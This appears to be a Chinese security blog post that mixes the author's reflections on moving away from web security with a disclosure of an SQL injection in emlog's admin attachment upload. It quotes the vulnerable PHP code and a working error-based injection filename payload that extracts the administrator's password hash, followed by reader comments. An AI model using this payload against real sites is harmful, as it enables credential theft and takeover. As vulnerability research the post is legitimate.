emlog后台作者权限SQL注入

    实话说,以后不想再挖web漏洞了,也不想发这类文章,web的东西搞来搞起就是那个样,我原本就不想深入,想那些大神一样能把一个cms分析得透彻。我有时候只是泛泛地看,泛泛地找一些简单的漏洞,深入又得花不少时间,而且做出的东西也不一定尽如人意。前段时间总有种刷分刷钱的想法,结果后来都是化为泡影,估计也是因为自己对待漏洞的态度不正确,有时候也是受到他人的影响。

    前几天某人问到我的一个学长,我才知道有些人虽然不常在网络上出现但实际上真正有实力的人完全不需要混脸熟。曾经我没接触web的时候多么向往去成为一个能写木马的人,也曾经确确实实分析过一段时间的gh0st,写过一些C++程序。

    这几天有个朋友在我博客留言问我为什么gh0st的文章不继续写了,我无言以对。自己这么久执迷于python和php,似乎完全忘记自己的初衷。半年前我曾经抱怨自己,学了很多东西但实际上有关安全的知识自己知道的并不多,诸如逆向、免杀、漏洞分析。半年后的我虽然真正去研究起安全(不敢说精通web安全但也对各种web漏洞十分熟悉),但真的像自己想的那样,能成为一个了不起的安全研究者吗。

    可能自己的路走偏了,web不是我的方向,我只是为了让自己更快更简单地成为一个所谓的“黑客”才去选择web安全。

    我希望自己能在二进制代码与程序的路上,做一名安全研究者,虽然要比web上难走许多。在此之前,我把自己这几天写过的文章发在我博客,以后不想继续了。可能在听到别人说到xxcms注入或getshell的时候还是会心动,但坚持自己的本心,我相信理想一定会实现。


    后台上传附件处,代码在/admin/attachment.php:

//上传附件
if ($action == 'upload') {
	$logid = isset($_GET['logid']) ? intval($_GET['logid']) : '';
	$attach = isset($_FILES['attach']) ? $_FILES['attach'] : '';
	if ($attach) {
		for ($i = 0; $i < count($attach['name']); $i++) {
			if ($attach['error'][$i] != 4) {
				$isthumbnail = Option::get('isthumbnail') == 'y' ? true : false;
				$file_info = uploadFile($attach['name'][$i], $attach['error'][$i], $attach['tmp_name'][$i], $attach['size'][$i], Option::getAttType(), false, $isthumbnail);
				// 写入附件信息
				$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s', 0)";
				$query = sprintf($query, $logid, $file_info['file_name'], $file_info['size'], $file_info['file_path'], time(), $file_info['width'], $file_info['height'], $file_info['mime_type']);
				$DB->query($query);
				$aid = $DB->insert_id();
				$DB->query("UPDATE " . DB_PREFIX . "blog SET attnum=attnum+1 WHERE gid=$logid");
				// 写入缩略图信息
				if (isset($file_info['thum_file'])) {
					$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')";
					$query = sprintf($query, $logid, $file_info['file_name'], $file_info['thum_size'], $file_info['thum_file'], time(), $file_info['thum_width'], $file_info['thum_height'], $file_info['mime_type'], $aid);
					$DB->query($query);		
				}
			}
		}
	}
	emDirect("attachment.php?action=attlib&logid=$logid");
}
    接受来的$_FILE变量,直接赋值给$attach 参数。其后调用uploadFile函数上传文件,将上传后的信息赋值给$file_info,而$file_info[‘file_name’]是直接赋值的$attach['name'][$i]。最后将$file_info带入查询,造成了注入。

    下面是演示。当你拥有后台作者权限后,登录后台发表文章处,上传一个图片,中途抓包:

    01.jpg

    如图,将filename修改成:
    info',(select 1 from  (select count(*),concat((select concat(username, 0x23, password) from emlog_user limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)p),'','','0','0','', 0)#.jpg
    一个显错注入。发包以后查看回复包:

    02.jpg

    如图,可以得到管理员密码的hash。图中显示的不全是因为显错注入显示的长度有限,可以使用mysql的substring函数截取一部分显示,分两次注入完毕。
    需要后台登录,虽然比较鸡肋,但某些emlog用户使用了自助注册等插件导致任何人可以注册成为作者,并轻易获取管理员权限。


赞赏

喜欢这篇文章?打赏1元

评论

chuanhang 回复

安全的东西很多,想学打点、内网、免杀、逆向、审计,但最后没有任何一方面能拿的出手的,迷茫要不要专攻一个方向。
迷茫是因为不管哪一方面都需要付出极多的精力,自己又急于有结果。
到现在好像有自己的答案了,不管这个答案正确与否。
感谢p牛,学到很多。

如果是宏伟 回复

返回包302怎么办

phithon 回复

@如果是宏伟 说明已经修复了。

天津网站建设 回复

非常感谢博主,本文对我有很大的帮助,谢谢

上善若水 回复

p神现在方向应该很明确了吧。我恰好处在和你当初一样彷徨的阶段。恰好看到了这篇文章。

天津化妆学校 回复

不错

北京SEO 回复

不错哦

微乐论坛 回复

不错哈朋友

草广告联盟 回复

支持 呵呵

微乐怎么注册 回复

不错

站长工具 回复

很好用啊

假日生活指南 回复

真棒的家伙

七哥 回复

支持博主。。。想做就去做吧

im帥 回复

博主和我差不多,但是我更水一点,工程类专业的计算机技术爱好者(会装系统):)

其实我还是支持博主做开发的,虽然Web是主流,但是却不可能完全离开本地客户端。

另外,老狼那套教程貌似不太完整啊 ;p

云破天开 回复

终于找到研究EMlog的了,加油

李明 回复

其实做什么沒关系的,最重要是自己喜欢,做得开心就行了。

phithon 回复

@李明:是呀,现在已经好多了。合理分配一下自己的时间就好了。

captcha